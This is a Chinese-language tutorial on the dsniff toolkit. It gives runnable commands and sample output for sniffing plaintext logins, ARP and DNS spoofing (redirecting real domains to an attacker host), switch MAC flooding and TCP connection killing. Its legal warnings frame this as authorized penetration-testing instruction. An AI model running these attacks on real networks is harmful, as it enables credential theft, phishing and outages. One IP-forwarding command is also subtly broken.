dsniff使用教程

dsniff 是一套专注于网络流量嗅探与中间人攻击(MITM)的工具集,而非单一工具,包含 dsniff、arpspoof、dnsspoof、macof 等多个子工具,核心功能是捕获局域网内的明文认证信息(如账号密码)、篡改网络流量及伪造网络身份。其设计初衷是用于网络安全测试,帮助管理员发现网络中的明文传输漏洞与认证风险。

dsniff 主要通过两种方式工作:

  1. 被动嗅探 :监听网络接口流量,解析 FTP、Telnet、HTTP、SMTP 等明文协议中的敏感数据(如登录凭证);

  2. 主动欺骗:配合子工具(如 arpspoof 实施 ARP 欺骗、dnsspoof 实施 DNS 欺骗)劫持目标流量,将加密协议降级为明文传输(如通过 sslstrip 插件),从而获取原本加密的数据。

核心应用场景包括:

-- 网络安全审计:检测局域网内是否存在明文传输的敏感信息;

-- 渗透测试:构建中间人攻击,验证目标系统的认证安全性;

-- 教学演示:展示明文协议风险与中间人攻击的原理;

-- 漏洞验证:测试网络设备对 ARP 欺骗、DNS 欺骗的防御能力。

需特别注意:dsniff 的攻击性极强,仅可在授权的网络环境中使用,未经允许对第三方网络实施嗅探或欺骗,可能违反《网络安全法》《刑法》等法律法规,需承担民事赔偿、行政处罚甚至刑事责任。

二、工具基础信息

项目 详情
工具类型 网络嗅探与中间人攻击工具集
当前版本 2.4(Kali Linux 默认预装版本)
核心子工具 dsniff(主嗅探工具)、arpspoof(ARP 欺骗)、dnsspoof(DNS 欺骗)、macof(MAC 泛洪)、tcpkill(TCP 连接阻断)等
支持协议 FTP、Telnet、HTTP、SMTP、POP3、IMAP、NNTP、NTLM、LDAP 等明文/弱加密协议
依赖环境 libpcap(数据包捕获)、libnet(网络数据包构建)、openssl(加密数据处理)
运行权限 必须 root 权限(需监听网络接口、修改 ARP 缓存、伪造数据包)

三、主工具 dsniff 命令参数说明(中文翻译与解析)

以下是 dsniff 主工具(用于流量嗅探)的命令参数,子工具(如 arpspoof、dnsspoof)的参数将在后续使用教程中单独说明。

参数 英文说明 中文翻译与解析
-c Capture authentication credentials (default). 捕获认证凭证(默认功能),自动解析明文协议中的账号、密码等敏感信息
-d Enable debugging mode (verbose). 启用调试模式(详细输出),在终端显示嗅探过程的详细日志(如捕获的数据包内容、协议解析过程),便于问题排查
-m Log all traffic (not just authentication) to stdout. 将所有流量(而非仅认证信息)记录到标准输出(终端),适合完整查看网络交互数据
-n Do not resolve IP addresses to hostnames. 不将 IP 地址解析为域名,仅显示 IP 地址,减少 DNS 查询开销,提升嗅探效率
-i interface Select the interface on which to listen. 指定监听的网络接口(如 eth0、wlan0),需与目标主机在同一网段;若不指定,默认监听所有可用接口
-p pcapfile Read captured packets from a pcap dump file instead of listening on an interface. 从 pcap 数据包文件(而非实时接口)读取流量,用于离线分析历史嗅探数据(如之前用 tcpdump 捕获的 pcap 文件)
-s snaplen Set the snapshot length (default: 1024 bytes). 设置数据包捕获长度(默认 1024 字节),若需捕获完整数据包(如大尺寸 HTTP 请求),可增大数值(如 -s 65535,捕获最大数据包)
-f services Use the specified services file (default: /etc/dsniff/services) to map ports to protocols. 使用指定的服务配置文件(默认 /etc/dsniff/services),该文件定义端口与协议的映射关系(如 21 端口对应 FTP),可自定义文件适配特殊端口
-t trigger[,...] Trigger on the specified TCP flags (default: syn,ack,rst,fin) for session reassembly. 指定用于会话重组的 TCP 标志位(默认 syn,ack,rst,fin),多个标志位用逗号分隔;仅在高级会话分析场景中调整,默认配置适用于大多数情况
-r savefile Read captured packets from a savefile (same as -p). 从保存文件读取数据包(功能与 -p 一致),属于兼容参数,用法:-r traffic.pcap
-w savefile Write captured packets to a savefile for later analysis. 将捕获的数据包写入保存文件(如 -w sniff_data.pcap),便于后续用 Wireshark、tcpdump 等工具二次分析
expression tcpdump(8)-style filter expression to select traffic. tcpdump 格式的过滤规则,仅捕获符合条件的流量(如 "port 80″ 仅嗅探 HTTP 流量、"host 192.168.1.100" 仅嗅探目标主机流量)

四、工具安装与环境准备

4.1 安装方式(Kali Linux)

Kali Linux 默认预装 dsniff 工具集,若未安装或版本过旧,可通过以下命令安装/更新:

复制代码
# 更新软件源
sudo apt update

# 安装 dsniff 工具集
sudo apt install dsniff -y

# 验证安装(查看版本)
dsniff -v
# 输出 "dsniff: version 2.4" 表示安装成功

# 查看包含的子工具(确认安装完整性)
ls /usr/sbin | grep -E "dsniff|arpspoof|dnsspoof|macof|tcpkill"
# 输出应包含 dsniff、arpspoof、dnsspoof、macof、tcpkill 等

4.2 依赖检查与补充

若运行时提示缺少依赖(如 libpcap、libnet),需手动安装:

复制代码
# 安装数据包捕获依赖(libpcap)
sudo apt install libpcap-dev -y

# 安装网络数据包构建依赖(libnet)
sudo apt install libnet1-dev -y

# 安装加密处理依赖(openssl)
sudo apt install openssl -y

4.3 环境配置(关键前提)

  1. 获取 root 权限

    dsniff 所有子工具均需操作网络接口、修改系统配置或伪造数据包,必须以 root 权限运行,所有命令前需加 sudo,或通过 sudo -i 切换为 root 用户。

  2. 开启 IP 转发(中间人攻击必需)

    实施 ARP 欺骗等中间人攻击时,需将劫持的目标流量转发到真实网关,否则目标主机会断网。临时开启命令:

    复制代码
    # 临时开启 IP 转发(重启后失效)
    sudo echo 1 > /proc/sys/net/ipv4/ip_forward
    
    # 验证 IP 转发状态(输出 1 表示开启成功)
    cat /proc/sys/net/ipv4/ip_forward

    若需永久开启(不推荐,仅测试环境使用):

    复制代码
    sudo nano /etc/sysctl.conf
    # 找到 net.ipv4.ip_forward = 0,修改为 net.ipv4.ip_forward = 1
    # 保存退出后执行生效:sudo sysctl -p
  3. 确认网络接口与目标网段

    复制代码
    # 查看网络接口信息(确认 IP 与网段)
    ip addr show
    # 示例:eth0 接口 IP 为 192.168.1.100,目标网段为 192.168.1.0/24
    
    # 扫描局域网内存活主机(确认目标 IP)
    sudo nmap -sn 192.168.1.0/24
    # 输出局域网内所有存活主机的 IP 与 MAC 地址

五、核心使用教程(按子工具场景化示例)

dsniff 是工具集,需按子工具的功能分类学习,以下为最常用子工具的典型使用场景:

5.1 场景 1:dsniff 主工具------被动嗅探明文认证信息

适用场景:被动监听网络流量,捕获 FTP、Telnet、HTTP 等明文协议中的账号密码(如用户登录 FTP 服务器、访问 HTTP 明文登录页)。

命令 1:基础嗅探(默认捕获认证信息)

复制代码
# 监听 eth0 接口,捕获所有明文协议的认证信息,输出到终端
sudo dsniff -i eth0

命令 2:指定协议嗅探(仅 HTTP 流量)

复制代码
# 仅嗅探 eth0 接口上的 HTTP(80 端口)流量,捕获登录凭证,不解析域名
sudo dsniff -i eth0 -n port 80

命令 3:离线分析 pcap 文件

复制代码
# 从之前捕获的 traffic.pcap 文件中,提取认证信息并输出到终端
sudo dsniff -p traffic.pcap -c

操作与验证

  1. 执行命令后,dsniff 开始监听流量,终端保持等待状态;

  2. 让目标主机进行明文认证操作(如通过浏览器访问 HTTP 登录页输入账号密码、用 FTP 客户端登录服务器);

  3. 终端会自动输出捕获的认证信息,示例(HTTP 登录):

    复制代码
    192.168.1.101 -> 192.168.1.200: HTTP POST /login.php
      username=admin&password=123456  # 捕获的账号密码
  4. Ctrl+C 停止嗅探。

5.2 场景 2:arpspoof------实施 ARP 欺骗(劫持目标流量)

适用场景:通过伪造 ARP 响应包,让目标主机认为攻击者是网关,同时让网关认为攻击者是目标主机,从而劫持两者之间的所有流量(为后续嗅探或篡改做准备)。

核心原理:ARP 协议用于将 IP 地址映射为 MAC 地址,arpspoof 发送伪造的 ARP 包,修改目标主机与网关的 ARP 缓存表,实现流量劫持。

命令 1:劫持单个目标主机流量

复制代码
# 语法:sudo arpspoof -i 接口 -t 目标IP 网关IP
# 示例:在 eth0 接口,劫持 192.168.1.101(目标IP)与 192.168.1.1(网关IP)的流量
sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1 &
# 加 & 让 arpspoof 后台运行,终端可继续执行其他命令

命令 2:双向劫持(同时欺骗目标与网关)

复制代码
# 同时欺骗目标主机(认为攻击者是网关)和网关(认为攻击者是目标)
sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1 &
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.101 &

验证 ARP 欺骗效果

  1. 在目标主机上查看 ARP 缓存表(确认网关 IP 对应的 MAC 是攻击者的 MAC):

    复制代码
    # Windows 目标:
    arp -a 192.168.1.1  # 查看网关的 ARP 记录,MAC 应为攻击者 eth0 的 MAC
    
    # Linux 目标:
    arp -n 192.168.1.1  # 同理,确认 MAC 地址被篡改
  2. 攻击者主机开启 dsniff 嗅探,可捕获目标主机的所有流量(如浏览网页、发送消息)。

停止 ARP 欺骗

复制代码
# 查找 arpspoof 进程 PID
ps aux | grep arpspoof

# 停止进程(替换 PID 为实际数值,如 1234、5678)
sudo kill 1234 5678

# (可选)在目标主机清除 ARP 缓存(恢复正常网络)
# Windows:arp -d 192.168.1.1
# Linux:sudo arp -d 192.168.1.1

5.3 场景 3:dnsspoof------实施 DNS 欺骗(篡改域名解析)

适用场景:配合 ARP 欺骗劫持 DNS 请求后,篡改 DNS 响应,将目标域名解析到攻击者指定的 IP(如将 www.baidu.com 解析到攻击者控制的服务器),实现"钓鱼"或流量引导。

前提准备

  1. 已通过 arpspoof 劫持目标主机流量(参考场景 2);

  2. 创建 DNS 欺骗规则文件(如 dns_spoof.hosts),格式与系统 hosts 文件一致,示例:

    dns_spoof.hosts 规则文件

    192.168.1.100 www.baidu.com # 将百度解析到攻击者 IP(192.168.1.100)
    192.168.1.100 mail.qq.com # 将 QQ 邮箱解析到攻击者 IP

命令:启动 DNS 欺骗

复制代码
# 语法:sudo dnsspoof -i 接口 -f 规则文件 [过滤规则]
# 示例:在 eth0 接口,加载 dns_spoof.hosts 规则,仅处理 UDP 53 端口(DNS 协议)的流量
sudo dnsspoof -i eth0 -f dns_spoof.hosts udp port 53

验证 DNS 欺骗效果

  1. 在目标主机上执行 DNS 解析命令,确认域名被篡改:

    复制代码
    # Windows/Linux 通用
    nslookup www.baidu.com
    # 输出应显示 "Address: 192.168.1.100"(攻击者 IP),而非百度真实 IP
  2. 目标主机访问 www.baidu.com 时,会跳转到攻击者控制的服务器(需提前在攻击者主机搭建模拟页面)。

停止 DNS 欺骗

复制代码
# 查找 dnsspoof 进程 PID
ps aux | grep dnsspoof

# 停止进程
sudo kill 进程PID

5.4 场景 4:macof------实施 MAC 泛洪攻击(干扰交换机)

适用场景:向交换机发送大量伪造的 MAC 地址与 IP 映射数据包,耗尽交换机的 MAC 地址表,使交换机进入"泛洪模式"(将所有端口的流量广播到其他所有端口),从而监听原本无法捕获的跨端口流量(适用于交换机环境下的嗅探)。

注意:MAC 泛洪会导致交换机性能下降甚至瘫痪,仅可在授权的测试环境使用,禁止在生产网络操作。

命令 1:基础 MAC 泛洪(默认参数)

复制代码
# 在 eth0 接口实施 MAC 泛洪,自动生成大量伪造 MAC-IP 映射
sudo macof -i eth0

命令 2:自定义泛洪参数(指定源 IP/端口)

复制代码
# -s:指定源 IP 范围起始值;-d:指定目标 IP 范围起始值;-e:指定源 MAC 地址;-x:指定端口范围
sudo macof -i eth0 -s 192.168.1.10 -d 192.168.1.200 -e 00:11:22:33:44:55 -x 1024-65535

验证泛洪效果

  1. 在交换机管理界面查看 MAC 地址表,若显示大量未知 MAC 地址且持续增长,说明泛洪生效;
  2. 攻击者主机启动 dsniff 嗅探,可捕获交换机下所有端口的流量(原本仅能捕获同端口流量)。

停止 MAC 泛洪

复制代码
# 查找 macof 进程 PID
ps aux | grep macof

# 停止进程
sudo kill 进程PID

# (可选)重启交换机,清除 MAC 地址表(恢复正常工作模式)

5.5 场景 5:tcpkill------阻断指定 TCP 连接

适用场景:发送伪造的 TCP RST(复位)数据包,强制阻断目标主机与特定服务器的 TCP 连接(如阻断目标访问某网站、断开 FTP 连接),用于测试网络连接的抗干扰能力或临时限制目标网络访问。

命令 1:阻断目标与指定 IP 的所有 TCP 连接

复制代码
# 语法:sudo tcpkill -i 接口 host 目标IP and host 服务器IP
# 示例:在 eth0 接口,阻断 192.168.1.101(目标)与 180.101.49.12(百度IP)的 TCP 连接
sudo tcpkill -i eth0 host 192.168.1.101 and host 180.101.49.12

命令 2:阻断指定端口的 TCP 连接(如 HTTP 80 端口)

复制代码
# 阻断 192.168.1.101 访问所有主机的 80 端口(HTTP 协议)
sudo tcpkill -i eth0 host 192.168.1.101 and port 80

验证阻断效果

  1. 目标主机尝试访问被阻断的服务(如浏览器打开百度),会显示"连接重置"或"无法访问";
  2. 攻击者终端会实时输出被阻断的连接信息(如"tcpkill: eth0: 192.168.1.101:54321 > 180.101.49.12:80 RST")。

停止 TCP 阻断

复制代码
# 查找 tcpkill 进程 PID
ps aux | grep tcpkill

# 停止进程
sudo kill 进程PID

# 目标主机重新发起连接即可恢复访问(如刷新浏览器)

六、dsniff 工具集常用参数汇总(表格)

子工具 核心参数 功能说明 示例
dsniff(主工具) -i interface 指定监听接口 -i eth0
dsniff(主工具) -w savefile 保存捕获的数据包到文件 -w sniff_data.pcap
dsniff(主工具) -n 不解析 IP 为域名 dsniff -i eth0 -n
dsniff(主工具) expression tcpdump 过滤规则 dsniff -i eth0 port 21(仅 FTP 流量)
arpspoof -i interface 指定欺骗使用的接口 -i wlan0
arpspoof -t targetIP gatewayIP 指定目标 IP 与网关 IP -t 192.168.1.101 192.168.1.1
dnsspoof -i interface 指定监听接口 -i eth0
dnsspoof -f rulefile 加载 DNS 欺骗规则文件 -f dns_spoof.hosts
macof -i interface 指定泛洪接口 -i eth0
macof -s/-d/-e 自定义源 IP/目标 IP/源 MAC -s 192.168.1.10 -d 192.168.1.200
tcpkill 过滤规则 指定要阻断的 TCP 连接 tcpkill -i eth0 host 192.168.1.101 and port 80

七、常见问题与解决方法

常见问题 可能原因 解决方法
dsniff 启动后无任何输出,捕获不到认证信息 1. 网络中无明文协议流量(均为 HTTPS 加密);2. 接口选择错误(未监听有流量的接口);3. 过滤规则过严格 1. 测试明文协议(如用 FTP 客户端登录、访问 HTTP 网站);2. 用 ip addr show 确认接口,换用正确接口(如 -i eth0);3. 去除过滤规则,捕获所有 TCP 流量
arpspoof 启动后,目标主机断网 1. 未开启 IP 转发(攻击者未将流量转发到网关);2. 网关 IP 或目标 IP 填写错误;3. 防火墙拦截转发流量 1. 开启 IP 转发:sudo echo 1 > /proc/sys/net/ipv4/ip_forward;2. 确认网关 IP(如 route -n 查看)和目标 IP;3. 关闭防火墙:sudo ufw disable
dnsspoof 规则不生效,域名仍解析到真实 IP 1. 未劫持目标 DNS 流量(未执行 arpspoof);2. 规则文件格式错误(无空格分隔 IP 与域名);3. 目标主机有 DNS 缓存 1. 先启动 arpspoof 劫持流量;2. 检查规则文件,确保格式为"IP 域名"(如 192.168.1.100 www.baidu.com);3. 清除目标 DNS 缓存(Windows:ipconfig /flushdns;Linux:sudo systemctl restart systemd-resolved
macof 泛洪后,交换机未进入泛洪模式 1. 交换机支持 MAC 地址表保护(如端口安全);2. 泛洪数据包数量不足,未耗尽 MAC 地址表;3. 接口选择错误 1. 在测试交换机上关闭端口安全功能;2. 延长 macof 运行时间(或自定义参数增加泛洪强度);3. 确认接口与交换机连接正常(如 -i eth0 连接到交换机)
tcpkill 无法阻断 HTTPS 连接(443 端口) HTTPS 基于 TLS 加密,TCP 连接建立后有会话复用机制,仅阻断初始连接可能无效 1. 持续运行 tcpkill,阻断所有 443 端口连接;2. 配合 dnsspoof 将 HTTPS 域名解析到无效 IP,从源头阻止连接建立

八、使用注意事项与法律风险

  1. 法律合规是底线

    dsniff 工具集的所有功能均具有攻击性,仅可在自身网络、授权的企业安全测试中使用。未经允许在公共网络、他人私有网络中实施嗅探、欺骗或阻断,可能违反《中华人民共和国网络安全法》《刑法》第 285 条(非法控制计算机信息系统)、第 286 条(破坏计算机信息系统),面临罚款、拘留甚至刑事责任。

  2. 隐私保护义务

    即使在授权测试中,捕获的敏感信息(如用户账号密码、私人通信)也需严格保密,测试结束后立即删除,不得泄露或用于其他用途,避免侵犯他人隐私权。

  3. 避免影响正常网络

    MAC 泛洪、TCP 阻断等功能会破坏网络正常运行,测试时需严格控制范围与时间,测试完成后立即停止工具并恢复网络配置(如重启交换机、清除 ARP 缓存)。

  4. HTTPS 局限性

    dsniff 主要针对明文协议,对 HTTPS 加密流量的捕获能力有限(需配合 sslstrip 等工具降级加密),但此类操作可能违反 SSL/TLS 协议规范,需额外评估法律与道德风险。

相关推荐
B2_Proxy5 小时前
如何安全高效管理 TikTok 账号?TikTok 账号运营完整指南
安全
陈天伟教授6 小时前
人工智能应用- 预测新冠病毒传染性:07. 预测不同类型病毒的传播能力
人工智能·神经网络·安全·cnn·xss
黎阳之光7 小时前
AI数智筑防线 绿色科技启新篇——黎阳之光硬核技术赋能生态安全双升级
大数据·人工智能·算法·安全·数字孪生
kang0x08 小时前
Strange - Writeup by AI
安全
m0_466525299 小时前
绿盟科技大模型安全白皮书发布:聚焦智能体风险与防护,护您安全“养虾”
科技·安全
黎阳之光9 小时前
黎阳之光:数智技术赋能水利“平急两用” 筑牢水利工程安全防线
大数据·人工智能·算法·安全·数字孪生
兄弟加油,别颓废了。10 小时前
curl详细使用方法
安全
昊星自动化11 小时前
昊星自动化 以房间为单位气流控制筑牢实验室安全屏障
安全·实验室建设·文丘里阀·房间通风控制